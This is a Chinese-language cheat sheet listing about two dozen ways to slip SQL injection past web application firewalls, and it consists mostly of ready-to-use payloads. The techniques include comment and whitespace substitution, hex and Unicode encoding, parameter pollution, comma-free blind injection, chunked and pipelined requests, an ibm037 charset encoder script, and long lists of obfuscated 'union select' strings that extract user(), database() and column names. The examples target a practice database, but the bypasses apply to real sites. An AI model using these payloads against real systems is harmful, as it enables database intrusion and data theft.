1.空格字符绕过
两个空格代替一个空格,用 Tab 代替空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/
select * from users where id=1 /!union//!select/1,2,3,4;
%a0 空格
%09 TAB 键(水平)
%0a 新建一行
%0c 新的一页
%0d return 功能
%0b TAB 键(垂直)
可以将空格字符替换成注释 /**/ 还可以使用 /!这里的根据 mysql 版本的内容不注释/
2.引号绕过
- 如果 waf 拦截过滤单引号的时候,可以使用双引号 在 mysql 里也可以用双引号作为字符串。
select * from users where id='1';
select * from users where id="1";
- 也可以将字符串转换成 16 进制 再进行查询。
select hex('admin');
select * from users where username='admin';
select * from users where username=0x61646D696E;
如果 gpc 开启了,但是注入点是整形 也可以用 hex 十六进制进行绕过
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME='users' limit 1),4;
select * from users where id=-1 union select 1,2,(select group_concat(column_name) from information_schema.columns where TABLE_NAME=0x7573657273 limit 1),4;
可以看到存在整型注入的时候 没有用到单引号 所以可以注入。
3.添加库名绕过
以下两条查询语句,执行的结果是一致的,但是有些 waf 的拦截规则 并不会拦截[库名].[表名]这种模式
select * from users where id=-1 union select 1,2,3,4 from users;
select * from users where id=-1 union select 1,2,3,4 from pikachu.users;
可以通过这个方式实现跨库查询。
4.去重复绕过
在 mysql 查询可以使用 distinct 去除查询的重复值。可以利用这点突破 waf 拦截。
select * from users where id=-1 union distinct select 1,2,3,4 from users;
select * from users where id=-1 union distinct select 1,2,3,version() from users;
5.反引号绕过
在 mysql 可以使用 这里是反引号 绕过一些 waf 拦截。字段可以加反引号或者不加,意义相同。
insert into users(id,username,password,level)values(4,'kaka','123456',5);
insert into users(id,username,password,level)values(5,'土狗','123456',5);
6.脚本语言特性绕过【参数污染】
在 php 语言中 id=1&id=2 后面的值会自动覆盖前面的值,不同的语言有不同的特性。可以利用这点绕过一些 waf 的拦截。id=1%00&id=2 union select 1,2,3
有些 waf 回去匹配第一个 id 参数 1%00,%00 是截断字符,waf 会自动截断 从而不会检测后面的内容。到了程序中 id 就是等于 id=2 union select 1,2,3 从绕过注入拦截。
PoC:?id=1&id=-1 union select 1,2,3--+
跳过id=1直接匹配id=-1,从而使得union select可以进行。
7.逗号绕过
一般会对逗号过滤成空 select * from users where id=1 union select 1 2 3 4;这样SQL 语句就会出错。所以 可以不使用逗号进行 SQL 注入。
7.1.substr截取字符串
select(substr(database() from 1 for 1)); 查询当前库第一个字符
查询 m 等于 select(substr(database() from 1 for 1))页面返回正常
select * from users where id=1 and 'p'=(select(substr(database() from 1 for 1)));
可以进一步优化 m 换成 hex 0x6D 这样就避免了单引号【URL编码后前面加上0x】
select * from users where id=1 and 0x70=(select(substr(database() from 1 for 1)));
7.2.min截取字符串
这个 min 函数跟 substr 函数功能相同 如果 substr 函数被拦截或者过滤可以使用这个函数代替。
select mid(database() from 1 for 1); 这个方法如上。
select * from users where id=1 and 'm'=(select(mid(database() from 1 for 1)));
select * from users where id=1 and 0x6D=(select(mid(database() from 1 for 1)));
7.3.使用join绕过
使用 join 自连接两个表
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
a 和 b 分别是表的别名
select * from users where id=-1 union select 1,2,3,4;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select 3)c join(select 4)d;
select * from users where id=-1 union select * from (select 1)a join (select 2)b join(select user())c join(select 4)d;
7.4.like绕过
使用 like 模糊查询 select user() like '%r%'; 模糊查询成功返回 1 否则返回 0。
测试:select * from users where id = 1 and (select user() like '%s%');
以上这些绕过逗号的方式,都采用了布尔盲注的思想,即通过返回的页面判断构造的语句是否执行。
7.5.limit offset绕过
SQL 注入时,如果需要限定条目可以使用 limit 0,1 限定返回条目的数目 limit 0,1返回一条记录 如果对逗号进行拦截时,可以使用 limit 1 默认返回第一条数据。也可以使用 limit 1 offset 0 从零开始返回第一条记录,这样就绕过 waf 拦截了。
select * from users limit 1 offset 2;
select * from users limit 2,1;
上下两个相同的含义
8.or and xor not 绕过
目前主流的 waf 都会对 id=1 and 1=2、id=1 or 1=2、id=0 or 1=2、id=0 xor 1=1 limit 1 、id=1 xor 1=2
对这些常见的 SQL 注入检测语句进行拦截。
像 and 这些还有字符代替,字符如下
and 等于&&
or 等于 ||
not 等于 !
xor 等于|
所以可以转换成这样
id=1 and 1=1 等于 id=1 && 1=1
id=1 and 1=2 等于 id=1 && 1=2
id=1 or 1=1 等于 id=1 || 1=1
id=0 or 1=0 等于 id=0 || 1=0
9.ASCII字符对比绕过
许多 waf 会对 union select 进行拦截 而且通常比较变态,那么可以不使用联合查询注入,可以使用字符截取对比法,进行突破。
select substring(user(),1,1);
select * from users where id=1 and substring(user(),1,1)='r';
select * from users where id=1 and ascii(substring(user(),1,1))=114;
【114的ASCII为“r”】
10.等号绕过
如果程序会对=进行拦截 可以使用 like rlike regexp 或者使用""或者 ">"
select * from users where id=1 and ascii(substring(user(),1,1))
select * from users where id=1 and ascii(substring(user(),1,1))>115;
select * from users where id=1 and (select substring(user(),1,1)like 'r%');
select * from users where id=1 and (select substring(user(),1,1)rlike 'r');
select * from users where id=1 and 1=(select user() regexp '^r');
select * from users where id=1 and 1=(select user() regexp '^a');
【^表示pattern(模式串)的开头。即若匹配到username字段下id=1的数据开头为a,则返回1;否则返回0】
regexp '^r[a-z]' #判断一个表的第二个字符串是否在a-z中
11. 多参数拆分绕过
多个参数拼接到同一条 SQL 语句中,可以将注入语句分割插入。
例如请求 get 参数
a=[input1]&b=[input2] 可以将参数 a 和 b 拼接在 SQL 语句中。
在程序代码中看到两个可控的参数,但是使用 union select 会被 waf 拦截
PoC:-1'union/*&username=*/select 1,user(),3,4--+
两个参数的值可以控,分解 SQL 注入关键字 可以组合一些 SQL 注入语句突破waf 拦截。
12.分块传输绕过
分块传输编码(Chunked transfer encoding)是只在 HTTP 协议 1.1 版本(HTTP/1.1)中提供的一种数据传送机制。以往 HTTP 的应答中数据是整个一起发送的,并在应答头里 Content-Length 字段标识了数据的长度,以便客户端知道应答消息的结束。
【如果在 http 的消息头里 Transfer-Encoding 为 chunked,那么就是使用此种编码方式】
可以使用 burpsuite 的插件 chunked-coding-converter 进行编码提交
选中请求体的所有数据:
可以看到,查询到数据库信息了:
13.信任白名单绕过
13.1目录白名单
有些 WAF 会自带一些文件白名单,对于白名单 waf 不会拦截任何操作,所以可以利用这个特点,可以试试白名单绕过。
白名单通常有目录
/admin
/phpmyadmin
/admin.php
?a=/admin.php&name=-asdf'+union+select+1%2Cdatabase()%23
13.2静态文件绕过
除了白名单信任文件和目录外,还有一部分 waf 并不会对静态文件进行拦截。例如 图片文件 jpg 、png 、gif 或者 css 、js 会对这些静态文件的操作不会进行检测从而绕过 waf 拦截。
?a=1.js&name=-asdf'+union+select+1%2Cuser()%23
14.pipline 绕过注入
【当发送的内容太大,超过一个 http 包容量,需要分多次发送时,值会变成 keep-alive,即本次发起的 http 请求所建立的 tcp 连接不断开,直到所发送内容结束 Connection 为 close 为止】
用 burpsuite 抓包提交 复制整个包信息放在第一个包最后,把第一个包 close 改成 keep-alive 把 brupsuite 自动更新 Content-Length 勾去掉
第一个包参数的字符要加上长度接着提交即可。有些 waf 会匹配第二个包的正属于正常参数,不会对第一个包的参数进行检测,这样就可以绕过一些 waf 拦截。
15.利用order by绕过
当 order by 被过滤时,无法猜解字段数,此时可以使用 into 变量名进行代替。
select * from users where id=1 into @a,@b,@c,@d;
16.http相同参数请求绕过
waf 在对危险字符进行检测的时候,分别为 post 请求和 get 请求设定了不同的匹配规则,请求被拦截,变换请求方式有几率能绕过检测。如果程序中能同时接收get、post 如果 waf 只对 get 进行匹配拦截,没有对 post 进行拦截。
有些 waf 只要存在 GET 或者 POST 优先匹配 POST 从而导致被绕过。
17.application/json 或者 text/xml 绕过
有些程序是 json 提交参数,程序也是 json 接收再拼接到 SQL 执行 json 格式通常不会被拦截,所以可以绕过 waf。同样 text/xml 也不会被拦截。
18.运行大量字符绕过
可以使用 select 0xA 运行一些字符从绕突破一些 waf 拦截
id=1 and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()
post 编码
1+and+(select+1)%3d(select+0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)/*!union*//*!select*/1,user()&submit=1
19.花括号绕过
select 1,2 union select{x 1},user()
花括号 左边是注释的内容 这样可以一些 waf 的拦截
20.换行混绕绕过
目前很多 waf 都会对 union select 进行过滤的 因为使用联合查询 这两个关键词是必须的,一般过滤这个两个字符 想用联合查询就很难了。可以使用换行 加上一些注释符进行绕过。
21.编码绕过
21.1.HTTP 数据编码绕过
编码绕过在绕 waf 中也是经常遇到的,通常 waf 只坚持他所识别的编码,比如说它只识别 utf-8 的字符,但是服务器可以识别比 utf-8 更多的编码。
那么我们只需要将 payload 按照 waf 识别不了但是服务器可以解析识别的编码格式即可绕过。
比如请求包中我们可以更改Content-Type中的charset的参数值,我们改为ibm037,这个协议编码,有些服务器是支持的。payload 改成这个协议格式就行了。
在提交的 http header
Content-Type: application/x-www-form-urlencoded; charset=ibm037
import urllib.parse
s = 'id=-1 union select 1,user()-- &submit=1'
ens=urllib.parse.quote(s.encode('ibm037'))
print(ens)
21.2.url编码
在 iis 里会自动把 url 编码转换成字符串传到程序中执行。
例如 union select 可以转换成 u%6eion s%65lect【对部分字符进行编码】
21.3.Unicode编码绕过
形式:“\u”或者是“%u”加上 4 位 16 进制 Unicode 码值。iis 会自动进行识别这种编码 有部分 waf 并不会拦截这这种编码
-1 union select 1,user()
部分转码【思路和上面的url编码绕过一致】
-1 uni%u006fn sel%u0065ct 1,user()
全部转码
%u002d%u0031%u0020%u0075%u006e%u0069%u006f%u006e%u0020%u0073%u0065%u006c%u0065%u0063%u0074%u0020%u0031%u002c%u0075%u0073%u0065%u0072%u0028%u0029
22.union select 绕过
目前不少 waf 都会使用都会对 union select 进行拦截 单个不拦截 一起就进行拦截。
针对单个关键词绕过
sel<>ect 程序过滤<>为空 脚本处理
sele//ct 程序过滤//为空
/!%53eLEct/ url 编码与内联注释
se%0blect 使用空格绕过
sele%ct 使用百分号绕过
%53eLEct 编码绕过
大小写
uNIoN sELecT 1,2
union all select 1,2
union DISTINCT select 1,2
null+UNION+SELECT+1,2
/*!union*//*!select*/1,2
union//*select*//1,2
and(select 1)=(Select 0xA*1000)/*!uNIOn*//*!SeLECt*/ 1,user()
/*!50000union*//*!50000select*/1,2
/*!40000union*//*!40000select*/1,2
%0aunion%0aselect 1,2
%250aunion%250aselect 1,2
%09union%09select 1,2
%0caunion%0cselect 1,2
%0daunion%0dselect 1,2
%0baunion%0bselect 1,2
%0d%0aunion%0d%0aselect 1,2
--+%0d%0aunion--+%0d%0aselect--+%0d%0a1,--+%0d%0a2